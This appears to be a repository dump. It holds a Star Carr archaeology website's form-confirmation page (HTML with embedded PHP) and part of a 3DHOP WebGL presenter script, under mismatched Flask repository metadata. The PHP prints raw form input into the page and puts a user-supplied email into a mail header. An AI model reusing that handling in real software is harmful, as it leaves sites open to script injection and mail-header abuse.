redirect(url_for("success",score=total_score)) if __name__=='__main__': app.run(debug=True)
e6880128e0e8f99828c68e18d08f026332dfa73a
[ "Python", "HTML" ]
4
Python
Pradeepa1812/Flask
88a2984955bcfd2fea96bda902423355f2771533
a14ed3eb62b2db9aa8947ea65d7acbe526177ae0
refs/heads/master
<file_sep><!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content="Welcome to the world of Star Carr: a Mesolithic site dating from 9000 BC"> <meta name="keywords" content="mesolithic, archaeology, milner, prehistoric, artefacts, stag, deer, frontlet, barbed, point, antler, ice age"> <meta name="robots" content="index, follow"> <meta name="revisit-after" content="3 month"> <meta name="author" content=""> <title>Information for Schools | Star Carr</title> <link rel="stylesheet" href="css/style.css"> <link rel="stylesheet" href="css/normalize.css"> <link rel="stylesheet" href="css/media.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js"></script> <link href='https://fonts.googleapis.com/css?family=Lora|Roboto:300,400,700' rel='stylesheet' type='text/css'> <!-- <link rel="stylesheet" media="only screen and (max-width: 480px), only screen and (max-device-width: 480px)" href="mobile.css" /> --> <!-- favicons --> <link rel="shortcut icon" href="/favicon.ico"> <link rel="icon" sizes="16x16 32x32 64x64" href="images/favicons/icons/favicon.ico"> <link rel="icon" type="image/png" sizes="196x196" href="images/favicons/icons/favicon-192.png"> <link rel="icon" type="image/png" sizes="160x160" href="images/favicons/icons/favicon-160.png"> <link rel="icon" type="image/png" sizes="96x96" href="images/favicons/icons/favicon-96.png"> <link rel="icon" type="image/png" sizes="64x64" href="images/favicons/icons/favicon-64.png"> <link rel="icon" type="image/png" sizes="32x32" href="images/favicons/icons/favicon-32.png"> <link rel="icon" type="image/png" sizes="16x16" href="images/favicons/icons/favicon-16.png"> <link rel="apple-touch-icon" href="images/favicons/icons/favicon-57.png"> <link rel="apple-touch-icon" sizes="114x114" href="images/favicons/icons/favicon-114.png"> <link rel="apple-touch-icon" sizes="72x72" href="images/favicons/icons/favicon-72.png"> <link rel="apple-touch-icon" sizes="144x144" href="images/favicons/icons/favicon-144.png"> <link rel="apple-touch-icon" sizes="60x60" href="images/favicons/icons/favicon-60.png"> <link rel="apple-touch-icon" sizes="120x120" href="images/favicons/icons/favicon-120.png"> <link rel="apple-touch-icon" sizes="76x76" href="images/favicons/icons/favicon-76.png"> <link rel="apple-touch-icon" sizes="152x152" href="images/favicons/icons/favicon-152.png"> <link rel="apple-touch-icon" sizes="180x180" href="images/favicons/icons/favicon-180.png"> <meta name="msapplication-TileColor" content="#FFFFFF"> <meta name="msapplication-TileImage" content="/favicon-144.png"> <meta name="msapplication-config" content="/browserconfig.xml"> <!-- favicons --> </head> <body> <!--[if lt IE 8]> <p class="browserupgrade">You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> to improve your experience.</p> <![endif]--> <div id="wrapper"><!-- Page wrapper div --> <div id="banner"><!-- Banner div --> <div class="imgLogo"><!-- Logo container class --> <a href="index.html"> <img src="images/global/customLogo.png" title="Home" width="150" height="50"> </a> </div><!-- End logo container class --> <ul class="shareButtons"><!-- Social media buttons class --> <li><a href="https://www.facebook.com/mesolithicstarcarr/?fref=ts" title="Share on Facebook" target="_blank"><img src="images/socialMedia/facebook50px.png" width="25" height="25"></a></li> <li><a href="https://plus.google.com/103574239071672153823/posts" target="_blank" title="Share on Google+"><img src="images/socialMedia/googleplus50px.png" width="25" height="25"></a></li> <li><a href="https://twitter.com/archaeostarcarr" target="_blank" title="Tweet"><img src="images/socialMedia/twitter62px.png" width="31" height="25"></a></li> <li><a href="https://www.youtube.com/channel/UCCLAO1KgN5v6rdq3Gg4xRLQ" target="_blank" title="Watch on YouTube"><img src="images/socialMedia/youtube72px.png" width="36" height="25" ></a></li> </ul><!-- End social media buttons class --> <div id="navbar"><!-- Navbar div --> <ul class="dropdown" onClick="return true"><!-- This enables hover on iOS --> <li><a href="index.html">Home</a></li> <li>About <ul> <li><a href="team.html">The Team</a></li> <li><a href="history.html">History of Research</a></li> <li><a href="vprt.html">Vale of Pickering Research Trust</a></li> <li><a href="publications.html">Publications</a></li> <li><a href="news.html">News Stories</a></li> <li><a href="funding.html">Funding</a></li> <li><a href="contact.html">Contact</a></li> </ul> <li><a href="gallery.html">Gallery</a></li> <li>Explore <ul> <li><a href="pendant.html">Pendant</a></li> <li><a href="headdresses.html">Headdresses</a> <li><a href="fish.html">Fish Remains</a></li> <li><a href="digital-museum.html">The Digital Museum</a></li> </ul> </li> <li><a href="film.html">Film</a></li> <li><a href="exhibitions.html">Exhibitions</a></li> <li><a href="schools.html">Schools</a></li> <li><a href="links.html">Links</a></li> </ul> </div><!-- End navbar div --> </div><!-- End banner div --> <div id="mainContent"><!-- Main content div --> <div id="bannerSlide"><!-- Div for narrow image at top of page --> <div id="bannerSlideshow"> <img src="images/global/reconstructionBanner.jpg" title="" class="active" height="100" /> <img src="images/global/fieldworkBanner.jpg" title="" height="100"/> <img src="images/global/fieldworkBanner2.jpg" title="" height="100"/> </div> </div><!-- End of narrow slideshow div --> <div id="columnContent"><!-- Div to contain content --> <div class="newsPageContentLeft"><!-- Left page content div --> <!-- Heading box div --> <h2 class="pageContent">Your message has been sent&mdash;thank you</h2> <!-- End heading box div --> <!-- Confirmation container div --> <div id="confirmationContainer"> <?php $feedback = $_POST['feedback']; $other = $_POST['other']; $name = $_POST['firstname'] . ' ' . $_POST['lastname']; $email = $_POST['email']; $institution = $_POST['institution']; $to = '<EMAIL>'; $subject = 'Form submitted to Star Carr website'; $msg = "$name sent a new email: \n" . "Feedback: $feedback\n" . "Other suggestions: $other\n" . "Institution: $institution"; mail($to, $subject, $msg, 'From:' . $email); echo 'Thanks for submitting your details.<br /> <br />'; echo 'Your feedback: ' . $feedback . '<br /> <br />'; echo 'Your other suggestions: ' . $other . '<br /> <br />'; echo 'Your email address is ' . $email . '<br /> <br />'; echo 'Your institution is ' . $institution . '<br /> <br />'; // if the url field is empty if(isset($_POST['url']) && $_POST['url'] == ''){ if($_POST["message"] == "" || $_POST["name"] == ""){ echo "<p></p>"; } else { // then send the form to your email mail( '<EMAIL>', 'Contact Form', print_r($_POST,true) ); } } // otherwise, let the spammer think that they got their message through ?> </div> <!-- End confirmation container div --> </div><!-- End left page content div --> <div class="newsPageContentRight"><!-- Right page content div --> <h2 class="pageContent">Downloads</h2> <ul class="linkBox"><!-- The code for this style was inspired by http://teachinghistory100.org/objects/about_the_object/mesolithic_headdress --> <h4 class="pageContent">All files</h4> <li><a href="docs/ResourcesForSchools.zip" title="" target="_blank">Download all files</br>Zip archive (12.5mb)<img src="images/favicons/rightArrow.png"></a> </li> </br> <h4 class="pageContent">11,000 Years Ago: Stories from the Middle Stone Age</h4> <ul class="linkBox"> <li><a href="docs/11000YearsAgo.pdf" title="" target="_blank">11,000 Years Ago: Stories from the Middle Stone Age</br>PDF (532kb)<img src="images/favicons/rightArrow.png"></a> </li> <h3 class="pageContent">Supporting documents and worksheets</h3> <h4 class="pageContent">Tools R Us</h4> <li><a href="docs/ToolsRUs.pdf" title="" target="_blank">Tools R Us (Chapter 2, Activity 1)</br>PDF (2.9mb)<img src="images/favicons/rightArrow.png"></a> </li> </br> <h4 class="pageContent">Which of these could you eat?</h4> <li><a href="docs/WhichOfTheseCouldYouEat.pdf" title="" target="_blank">Which of these could you eat? (Chapter 3, Activity 1)</br>PDF (532kb)<img src="images/favicons/rightArrow.png"></a> </li> <li><a href="docs/WhichOfTheseCouldYouEatAnswers.pdf" title="" target="_blank">Answers</br>PDF (1.11mb)<img src="images/favicons/rightArrow.png"></a> </li> </br> <h4 class="pageContent">Whose footprints?</h4> <li><a href="docs/WhoseFootprints.pdf" title="" target="_blank">Whose footprints? (Chapter 3, Activity 1)</br>PDF (532kb)<img src="images/favicons/rightArrow.png"></a> </li> <li><a href="docs/WhoseFootprintsAnswersNames.pdf" title="" target="_blank">Answers (Names)</br>PDF (482kb)<img src="images/favicons/rightArrow.png"></a> </li> <li><a href="docs/WhoseFootprintsAnswersImages.pdf" title="" target="_blank">Answers (Images)</br>PDF (1.19mb)<img src="images/favicons/rightArrow.png"></a> </li> </br> <h4 class="pageContent">Foods then and now</h4> <li><a href="docs/FoodsThenAndNow.pdf" title="" target="_blank">Foods then and now (Chapter 3, Activity 2)</br>PDF (1.13mb)<img src="images/favicons/rightArrow.png"></a> </li> <li><a href="docs/FoodsThenAndNowAnswers.pdf" title="" target="_blank">Answers</br>PDF (1.12mb)<img src="images/favicons/rightArrow.png"></a> </li> </br> <h4 class="pageContent">A Mesolithic picnic</h4> <li><a href="docs/A MesolithicPicnic.pdf" title="" target="_blank">A Mesolithic picnic (Chapter 3, Activity 3)</br>PDF (29kb)<img src="images/favicons/rightArrow.png"></a> </li> <li><a href="docs/AMesolithicPicnicExample.pdf" title="" target="_blank">Example</br>PDF (44kb)<img src="images/favicons/rightArrow.png"></a> </li> <li><a href="docs/AMesolithicPicnicInitialScoreSheet.pdf" title="" target="_blank">Intital score sheet</br>PDF (48kb)<img src="images/favicons/rightArrow.png"></a> </li> <li><a href="docs/AMesolithicPicnicFullScoreSheet.pdf" title="" target="_blank">Full score sheet</br>PDF (44kb)<img src="images/favicons/rightArrow.png"></a> </li> </br> <h4 class="pageContent">Pendant worksheet</h4> <ul class="linkBox"> <li><a href="docs/pendant.doc" title="" target="_blank">Mesolithic shale pendant</br>Word doc (1.7mb)<img src="images/favicons/rightArrow.png"></a> </li> </ul> </br> </div><!-- End right page content div --> </div><!-- End column content div --> </div><!-- End main content div --> <div id="spacer"></div><!-- Spacer div-solves an issue with container height --> <div id ="footer"><!-- Begin footer div --> <div class="footerImg"> <ul class="footerLogos"><!-- Logo images --> <li><a href="https://erc.europa.eu/" title="European Research Council" target="_blank"><img src="images/global/ERC_Logo100px.png" height="35"></a></li> <li><a href="https://historicengland.org.uk/" title="Historic England" target="_blank"><img src="images/global/HistoricEngland100px.png" height="35"></a></li> <li><a href="http://www.york.ac.uk/" title="University of York" target="_blank"><img src="images/global/UniYork100px.png" height="35"></a></li> <li><a href="http://www.chester.ac.uk/" title="University of Chester" target="_blank"><img src="images/global/ChesterUni100px.png" height="35"></a></li> <li><a href="http://www.manchester.ac.uk/" title="The Univeristy of Manchester" target="_blank"><img src="images/global/ManchesterUni100px.png" height="35"></a></li> <li><a href="http://www.nerc.ac.uk/" title="NERC" target="_blank"><img src="images/global/nercLogo.png" height="35"></a></li> <li><a href="http://www.britac.ac.uk/" title="The British Academy" target="_blank"><img src="images/global/BritishAcademy100px.png" height="35"></a></li> </ul><!-- End logo images --> </div> </div><!-- End footer div --> </div><!-- End page wrapper div --> </body> <script type="text/javascript"> jQuery(document).ready( function($) { jQuery('.dropdown').attr("onclick","return true"); }); </script> <script> function slideSwitch() { var $active = $('#bannerSlideshow IMG.active'); if ( $active.length == 0 ) $active = $('#bannerSlideshow IMG:last'); // use this to pull the images in the order they appear in the markup var $next = $active.next().length ? $active.next() : $('#bannerSlideshow IMG:first'); // uncomment the 3 lines below to pull the images in random order // var $sibs = $active.siblings(); // var rndNum = Math.floor(Math.random() * $sibs.length ); // var $next = $( $sibs[ rndNum ] ); $active.addClass('last-active'); $next.css({opacity: 0.0}) .addClass('active') .animate({opacity: 1.0}, 2000, function() { $active.removeClass('active last-active'); }); } $(function() { setInterval( "slideSwitch()", 5000 ); }); </script> <script type="text/javascript"> jQuery(document).ready( function($) { jQuery('.dropdown').attr("onclick","return true"); }); </script> </html><file_sep>/* 3DHOP - 3D Heritage Online Presenter Copyright (c) 2014, <NAME> - Visual Computing Lab, ISTI - CNR All rights reserved. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ SpiderGL.openNamespace(); //---------------------------------------------------------------------------------------- // CONSTANTS //---------------------------------------------------------------------------------------- // SglTrackball //---------------------------------------------------------------------------------------- const SGL_TRACKBALL_NO_ACTION = 0; const SGL_TRACKBALL_ROTATE = 1; const SGL_TRACKBALL_PAN = 2; const SGL_TRACKBALL_DOLLY = 3; const SGL_TRACKBALL_SCALE = 4; //---------------------------------------------------------------------------------------- // Selectors //---------------------------------------------------------------------------------------- const HOP_ALL = 256; //---------------------------------------------------------------------------------------- Presenter = function (canvas) { this._isDebugging = false; this._lightDirection = [ 0, 0, -1]; this._supportsWebGL = sglHandleCanvas(canvas, this); }; Presenter.prototype = { //---------------------------------------------------------------------------------------- // PARSING FUNCTIONS //---------------------------------------------------------------------------------------- _parseScene : function (options) { options = options || { }; var r = { background : this._parseBackground(options.background), meshes : this._parseMeshes(options.meshes), texturedQuads : this._parseTexturedQuads(options.texturedQuads), modelInstances : this._parseModelInstances(options.modelInstances), spots : this._parseSpots(options.spots), trackball : this._parseTrackball(options.trackball), space : this._parseSpace(options.space) }; return r; }, _parseBackground : function (options) { options = options || { }; var r = sglGetDefaultObject({ image : null, isEnvironment : false, color : [ 0.0, 0.0, 0.0, 0.0 ] }, options); return r; }, _parseMeshes : function (options) { var r = { }; for (var m in options) { r[m] = this._parseMesh(options[m]); } return r; }, _parseMesh : function (options) { var r = sglGetDefaultObject({ url : null, transform : null }, options); r.transform = this._parseTransform(r.transform); return r; }, _parseTexturedQuads : function (options) { var r = { }; for (var m in options) { r[m] = this._parseTexturedQuad(options[m]); } return r; }, _parseTexturedQuad : function (options) { return options; }, _parseModelInstances : function (options) { var r = { }; for (var m in options) { r[m] = this._parseModelInstance(options[m]); } return r; }, _parseModelInstance : function (options) { var r = sglGetDefaultObject({ mesh : null, color : [ 1.0, 1.0, 1.0 ], cursor : "default", ID : 0, transform : null, hotspots : { }, visible : true, tags : [ ] }, options); r.transform = this._parseTransform(r.transform); r.ID = this._instancesProgressiveID; this._instancesProgressiveID += 1; for (var m in r.hotspots) { r.hotspots[m] = this._parseHotSpot(r.hotspots[m]); } return r; }, _parseSpots : function (options) { var r = { }; for (var m in options) { r[m] = this._parseSpot(options[m]); } return r; }, _parseSpot : function (options) { var r = sglGetDefaultObject({ mesh : null, color : [ 0.8, 0.2, 0.2, 0.2 ], cursor : "pointer", ID : 0, transform : null, visible : true, tags : [ ] }, options); r.transform = this._parseTransform(r.transform); r.ID = this._spotsProgressiveID; if (!r.color[3]) r.color[3] = 0.2; r.alpha = r.color[3]; this._spotsProgressiveID += 1; return r; }, _parseTrackball : function (options) { var r = sglGetDefaultObject({ type : TurnTableTrackball, trackOptions : {} }, options); return r; }, _parseSpace : function (options) { options = options || { }; var r = sglGetDefaultObject({ centerMode : "first", radiusMode : "first", whichInstanceCenter : "", whichInstanceRadius : "", explicitCenter : [0.0, 0.0, 0.0], explicitRadius : 1.0, cameraFOV : 60.0, cameraNearFar : [0.1, 10.0], }, options); if(r.cameraFOV < 2.0) r.cameraFOV=2.0; if(r.cameraFOV > 88.0) r.cameraFOV=88.0; return r; }, _parseTransform : function (options) { var r = sglGetDefaultObject({ matrix : SglMat4.identity() }, options); return r; }, _parseHotSpot : function (options) { var r = sglGetDefaultObject({ textureQuad : null, transform : null }, options); r.transform = this._parseTransform(r.transform); return r; }, //---------------------------------------------------------------------------------------- //SHADERS RELATED FUNCTIONS //---------------------------------------------------------------------------------------- // standard program for NXS rendering _createStandardNXSProgram : function () { var gl = this.ui.gl; var nxsVertexShader = new SglVertexShader(gl, "\ precision highp float; \n\ \n\ uniform mat4 uWorldViewProjectionMatrix; \n\ uniform mat3 uViewSpaceNormalMatrix; \n\ \n\ attribute vec3 aPosition; \n\ attribute vec3 aNormal; \n\ attribute vec3 aColor; \n\ \n\ varying vec3 vNormal; \n\ varying vec3 vColor; \n\ \n\ void main(void) \n\ { \n\ vNormal = uViewSpaceNormalMatrix * aNormal; \n\ vColor = aColor; \n\ \n\ gl_Position = uWorldViewProjectionMatrix * vec4(aPosition, 1.0); \n\ } \n\ "); if(this._isDebugging) console.log("Vertex Shader Log:\n" + vertexShader.log); var nxsFragmentShader = new SglFragmentShader(gl, "\ precision highp float; \n\ \n\ uniform vec3 uViewSpaceLightDirection; \n\ \n\ varying vec3 vNormal; \n\ varying vec3 vColor; \n\ \n\ void main(void) \n\ { \n\ vec3 normal = normalize(vNormal); \n\ float nDotL = dot(normal, -uViewSpaceLightDirection); \n\ float lambert = max(0.0, nDotL); \n\ vec3 diffuse = vColor * lambert; \n\ \n\ gl_FragColor = vec4(diffuse, 1.0); \n\ } \n\ "); if(this._isDebugging) console.log("Fragment Shader Log:\n" + fragmentShader.log); var program = new SglProgram(gl, { shaders : [ nxsVertexShader, nxsFragmentShader ], attributes : { "aPosition" : 0, "aNormal" : 1, "aColor" : 2 }, uniforms : { "uWorldViewProjectionMatrix" : SglMat4.identity(), "uViewSpaceNormalMatrix" : SglMat3.identity(), "uViewSpaceLightDirection" : this._lightDirection } }); if(this._isDebugging) console.log("Program Log:\n" + program.log); return program; }, // color coded ID program for NXS rendering _createColorCodedIDNXSProgram : function () { var gl = this.ui.gl; var nxsVertexShader = new SglVertexShader(gl, "\ precision highp float; \n\ \n\ uniform mat4 uWorldViewProjectionMatrix; \n\ \n\ attribute vec3 aPosition; \n\ attribute vec3 aNormal; \n\ attribute vec3 aColor; \n\ \n\ void main(void) \n\ { \n\ gl_Position = uWorldViewProjectionMatrix * vec4(aPosition, 1.0); \n\ } \n\ "); if(this._isDebugging) console.log("Vertex Shader Log:\n" + vertexShader.log); var nxsFragmentShader = new SglFragmentShader(gl, "\ precision highp float; \n\ \n\ uniform vec4 uColorID; \n\ \n\ void main(void) \n\ { \n\ gl_FragColor = uColorID; \n\ } \n\ "); if(this._isDebugging) console.log("Fragment Shader Log:\n" + fragmentShader.log); var program = new SglProgram(gl, { shaders : [ nxsVertexShader, nxsFragmentShader ], attributes : { "aPosition" : 0, "aNormal" : 1, "aColor" : 2 }, uniforms : { "uWorldViewProjectionMatrix" : SglMat4.identity(), "uColorID" : [1.0, 0.5, 0.0, 1.0] } }); if(this._isDebugging) console.log("Program Log:\n" + program.log); return program; }, // single-color barely-shaded program for NXS rendering _createColorShadedNXSProgram : function () { var gl = this.ui.gl; var nxsVertexShader = new SglVertexShader(gl, "\ precision highp float; \n\ \n\ uniform mat4 uWorldViewProjectionMatrix; \n\ uniform mat3 uViewSpaceNormalMatrix; \n\ \n\ attribute vec3 aPosition; \n\ attribute vec3 aNormal; \n\ attribute vec3 aColor; \n\ \n\ varying vec3 vNormal; \n\ \n\ void main(void) \n\ { \n\ vNormal = uViewSpaceNormalMatrix * aNormal; \n\ gl_Position = uWorldViewProjectionMatrix * vec4(aPosition, 1.0); \n\ } \n\ "); if(this._isDebugging) console.log("Vertex Shader Log:\n" + vertexShader.log); var nxsFragmentShader = new SglFragmentShader(gl, "\ precision highp float; \n\ \n\ uniform vec3 uViewSpaceLightDirection; \n\ uniform vec4 uColorID; \n\ \n\ varying vec3 vNormal; \n\ \n\ void main(void) \n\ { \n\ vec3 normal = normalize(vNormal); \n\ float nDotL = dot(normal, -uViewSpaceLightDirection); \n\ float lambert = max(-nDotL, nDotL); \n\ \n\ vec3 baseColor = vec3(uColorID[0], uColorID[1], uColorID[2]); \n\ vec3 diffuse = (baseColor*0.5) + (baseColor * lambert * 0.5); \n\ \n\ gl_FragColor = vec4(diffuse, uColorID[3]); \n\ } \n\ "); if(this._isDebugging) console.log("Fragment Shader Log:\n" + fragmentShader.log); var program = new SglProgram(gl, { shaders : [ nxsVertexShader, nxsFragmentShader ], attributes : { "aPosition" : 0, "aNormal" : 1, "aColor" : 2 }, uniforms : { "uWorldViewProjectionMatrix" : SglMat4.identity(), "uViewSpaceNormalMatrix" : SglMat3.identity(), "uViewSpaceLightDirection" : this._lightDirection } }); if(this._isDebugging) console.log("Program Log:\n" + program.log); return program; }, // standard technique for PLY rendering _createStandardPLYtechnique : function () { var gl = this.ui.gl; var technique = new SglTechnique(gl, { vertexShader : "\ precision highp float; \n\ \n\ uniform mat4 uWorldViewProjectionMatrix; \n\ uniform mat3 uViewSpaceNormalMatrix; \n\ \n\ attribute vec3 aPosition; \n\ attribute vec3 aNormal; \n\ attribute vec3 aColor; \n\ \n\ varying vec3 vNormal; \n\ varying vec3 vColor; \n\ \n\ void main(void) \n\ { \n\ vNormal = uViewSpaceNormalMatrix * aNormal; \n\ vColor = aColor; \n\ \n\ gl_Position = uWorldViewProjectionMatrix * vec4(aPosition, 1.0); \n\ } \n\ ", fragmentShader : "\ precision highp float; \n\ \n\ uniform vec3 uViewSpaceLightDirection; \n\ \n\ varying vec3 vNormal; \n\ varying vec3 vColor; \n\ \n\ void main(void) \n\ { \n\ vec3 normal = normalize(vNormal); \n\ float nDotL = dot(normal, -uViewSpaceLightDirection); \n\ float lambert = max(0.0, nDotL); \n\ \n\ vec3 baseColor = vec3(1.0); \n\ vec3 diffuse = vColor * baseColor * lambert; \n\ \n\ gl_FragColor = vec4(diffuse, 1.0); \n\ } \n\ ", vertexStreams : { "aNormal" : [ 0.0, 0.0, 1.0, 0.0 ], "aColor" : [ 0.4, 0.4, 0.8, 1.0 ] }, globals : { "uWorldViewProjectionMatrix" : { semantic : "uWorldViewProjectionMatrix", value : SglMat4.identity() }, "uViewSpaceNormalMatrix" : { semantic : "uViewSpaceNormalMatrix", value : SglMat3.identity() }, "uViewSpaceLightDirection" : { semantic : "uViewSpaceLightDirection", value : [ 0.0, 0.0, -1.0 ] } } }); return technique; }, // color coded ID technique for PLY rendering _createColorCodedIDPLYtechnique : function () { var gl = this.ui.gl; var technique = new SglTechnique(gl, { vertexShader : "\ precision highp float; \n\ \n\ uniform mat4 uWorldViewProjectionMatrix; \n\ \n\ attribute vec3 aPosition; \n\ attribute vec3 aNormal; \n\ attribute vec3 aColor; \n\ \n\ void main(void) \n\ { \n\ gl_Position = uWorldViewProjectionMatrix * vec4(aPosition, 1.0); \n\ } \n\ ", fragmentShader : "\ precision highp float; \n\ \n\ uniform vec4 uColorID; \n\ \n\ void main(void) \n\ { \n\ gl_FragColor = uColorID; \n\ } \n\ ", vertexStreams : { "aNormal" : [ 0.0, 0.0, 1.0, 0.0 ], "aColor" : [ 0.4, 0.4, 0.8, 1.0 ] }, globals : { "uWorldViewProjectionMatrix" : { semantic : "uWorldViewProjectionMatrix", value : SglMat4.identity() }, "uColorID" : { semantic : "uColorID", value : [1.0, 0.5, 0.25, 1.0] } } }); return technique; }, // single-color barely-shaded technique for PLY rendering _createColorShadedPLYtechnique : function () { var gl = this.ui.gl; var technique = new SglTechnique(gl, { vertexShader : "\ precision highp float; \n\ \n\ uniform mat4 uWorldViewProjectionMatrix; \n\ uniform mat3 uViewSpaceNormalMatrix; \n\ \n\ attribute vec3 aPosition; \n\ attribute vec3 aNormal; \n\ attribute vec3 aColor; \n\ \n\ varying vec3 vNormal; \n\ \n\ void main(void) \n\ { \n\ vNormal = uViewSpaceNormalMatrix * aNormal; \n\ gl_Position = uWorldViewProjectionMatrix * vec4(aPosition, 1.0); \n\ } \n\ ", fragmentShader : "\ precision highp float; \n\ \n\ uniform vec4 uColorID; \n\ uniform vec3 uViewSpaceLightDirection; \n\ \n\ varying vec3 vNormal; \n\ varying vec3 vColor; \n\ \n\ void main(void) \n\ { \n\ vec3 normal = normalize(vNormal); \n\ float nDotL = dot(normal, -uViewSpaceLightDirection); \n\ float lambert = max(-nDotL, nDotL); \n\ \n\ vec3 baseColor = vec3(uColorID[0], uColorID[1], uColorID[2]); \n\ vec3 diffuse = (baseColor*0.5) + (baseColor * lambert * 0.5); \n\ \n\ gl_FragColor = vec4(diffuse, uColorID[3]); \n\ } \n\ ", vertexStreams : { "aNormal" : [ 0.0, 0.0, 1.0, 0.0 ], "aColor" : [ 0.4, 0.4, 0.8, 1.0 ] }, globals : { "uWorldViewProjectionMatrix" : { semantic : "uWorldViewProjectionMatrix", value : SglMat4.identity() }, "uViewSpaceNormalMatrix" : { semantic : "uViewSpaceNormalMatrix", value : SglMat3.identity() }, "uViewSpaceLightDirection" : { semantic : "uViewSpaceLightDirection", value : [ 0.0, 0.0, -1.0 ] }, "uColorID" : { semantic : "uColorID", value : [1.0, 0.5, 0.25, 1.0] } } }); return technique; }, //---------------------------------------------------------------------------------------- // SUPPORT FUNCTIONS //---------------------------------------------------------------------------------------- _isSceneReady : function () { var r = (this._scene && this._sceneParsed && (this._objectsToLoad == 0)); return r; }, _testReady : function () { if (this._objectsToLoad != 0) return; this.trackball.track(SglMat4.identity(), 0.0, 0.0, 0.0); this.ui.postDrawEvent(); }, _objectLoaded : function () { this._objectsToLoad--; this._testReady(); }, _onMeshReady : function () { this._objectLoaded(); }, _onTextureReady : function () { this._objectLoaded(); }, _onBackgroundReady : function () { this._objectLoaded(); }, _pickingRefresh: function(x,y) { this._pickpoint[0] = x; this._pickpoint[1] = y; var pickedPixel; var ID, cursor; if(this._onPickedSpot||this._onEnterSpot||this._onLeaveSpot){ pickedPixel = this._drawScenePickingSpots(); ID = this._Color2ID(pickedPixel); if(this._lastSpotID != ID){ var spots = this._scene.spots; if(ID != 0){ for (var spt in spots) { if (spots[spt].ID == ID) { this._pickedSpot = spt; if(this._onHover){ if(spots[this._lastPickedSpot]) spots[this._lastPickedSpot].alpha = spots[this._lastPickedSpot].color[3]; spots[this._pickedSpot].alpha = spots[this._pickedSpot].color[3] + 0.2; cursor = spots[spt].cursor; if(!this._movingLight){ this._lastCursor = document.getElementById(this.ui.canvas.id).style.cursor; document.getElementById(this.ui.canvas.id).style.cursor = cursor; } this.ui.postDrawEvent(); if(this._onLeaveSpot && this._lastPickedSpot!="null") this._onLeaveSpot(this._lastPickedSpot); if(this._onEnterSpot && this._pickedSpot!="null") this._onEnterSpot(this._pickedSpot); } this._lastPickedSpot = spt; break; } } this._lastSpotID = ID; } else{ this._pickedSpot = "null"; if(this._onHover){ if(spots[this._lastPickedSpot]) spots[this._lastPickedSpot].alpha = spots[this._lastPickedSpot].color[3]; if(!this._movingLight) document.getElementById(this.ui.canvas.id).style.cursor = this._lastCursor; this.ui.postDrawEvent(); if(this._onLeaveSpot && this._lastPickedSpot!="null") this._onLeaveSpot(this._lastPickedSpot); //if(this._onEnterSpot) this._onEnterSpot(this._pickedSpot); this._lastPickedSpot = "null"; } this._lastSpotID = ID; } } } if(this._onPickedInstance||this._onEnterInstance||this._onLeaveInstance){ pickedPixel = this._drawScenePickingInstances(); ID = this._Color2ID(pickedPixel); if(this._lastInstanceID == ID) return; if(ID != 0){ var instances = this._scene.modelInstances; for (var inst in instances) { if (instances[inst].ID == ID) { this._pickedInstance = inst; if(this._onHover){ cursor = instances[inst].cursor; if(!this._movingLight){ this._lastCursor = cursor; if(this._pickedSpot=="null")document.getElementById(this.ui.canvas.id).style.cursor = cursor; } if(this._onLeaveInstance && this._lastPickedInstance!="null") this._onLeaveInstance(this._lastPickedInstance); if(this._onEnterInstance && this._pickedInstance!="null") this._onEnterInstance(this._pickedInstance); } this._lastPickedInstance = inst; break; } } } else{ this._pickedInstance = "null"; if(this._onHover){ this._lastCursor = "default"; if(!this._movingLight && this._pickedSpot=="null") document.getElementById(this.ui.canvas.id).style.cursor = "default"; if(this._onLeaveInstance && this._lastPickedInstance!="null") this._onLeaveInstance(this._lastPickedInstance); //if(this._onEnterInstance) this._onEnterInstance(this._pickedInstance); } this._lastPickedInstance = "null"; } this._lastInstanceID = ID; } }, //---------------------------------------------------------------------------------------- // DRAWING SUPPORT FUNCTIONS //---------------------------------------------------------------------------------------- _setSceneCenterRadius : function () { var meshes = this._scene.meshes; var instances = this._scene.modelInstances; this.sceneCenter = [0.0, 0.0, 0.0]; this.sceneRadiusInv = 1.0; if(this._scene.space.centerMode == "explicit") { this.sceneCenter = this._scene.space.explicitCenter; } else if(this._scene.space.centerMode == "specific" && this._scene.space.whichInstanceCenter != "") { var mesh = meshes[instances[this._scene.space.whichInstanceCenter].mesh]; if((mesh)&&(mesh.renderable)){ var instCenter = SglVec3.to4(mesh.renderable.datasetCenter,1); instCenter = SglMat4.mul4(mesh.transform.matrix, instCenter); instCenter = SglMat4.mul4(instances[this._scene.space.whichInstanceCenter].transform.matrix, instCenter); instCenter = SglVec4.to3(instCenter); this.sceneCenter = instCenter; } } else //if(this._scene.space.centerMode == "first") { for (var inst in instances) { var mesh = meshes[instances[inst].mesh]; if((mesh)&&(mesh.renderable)){ var instCenter = SglVec3.to4(mesh.renderable.datasetCenter,1); instCenter = SglMat4.mul4(mesh.transform.matrix, instCenter); instCenter = SglMat4.mul4(instances[inst].transform.matrix, instCenter); instCenter = SglVec4.to3(instCenter); this.sceneCenter = instCenter; break; } } } if(this._scene.space.radiusMode == "explicit") { this.sceneRadiusInv = 1.0 / this._scene.space.explicitRadius; } else if(this._scene.space.radiusMode == "specific" && this._scene.space.whichInstanceRadius != "") { var mesh = meshes[instances[this._scene.space.whichInstanceRadius].mesh]; if((mesh)&&(mesh.renderable)){ var radius = mesh.renderable.datasetRadius; var vector111 = SglVec3.one(); vector111 = SglMat3.mul3(SglMat4.to33(mesh.transform.matrix), vector111); vector111 = SglMat3.mul3(SglMat4.to33(instances[this._scene.space.whichInstanceRadius].transform.matrix), vector111); var scalefactor = SglVec3.length(vector111) / SglVec3.length([1,1,1]); this.sceneRadiusInv = 1.0 / (radius*scalefactor); } } else //if(this._scene.space.radiusMode == "first") { for (var inst in instances) { var mesh = meshes[instances[inst].mesh]; if((mesh)&&(mesh.renderable)){ var radius = 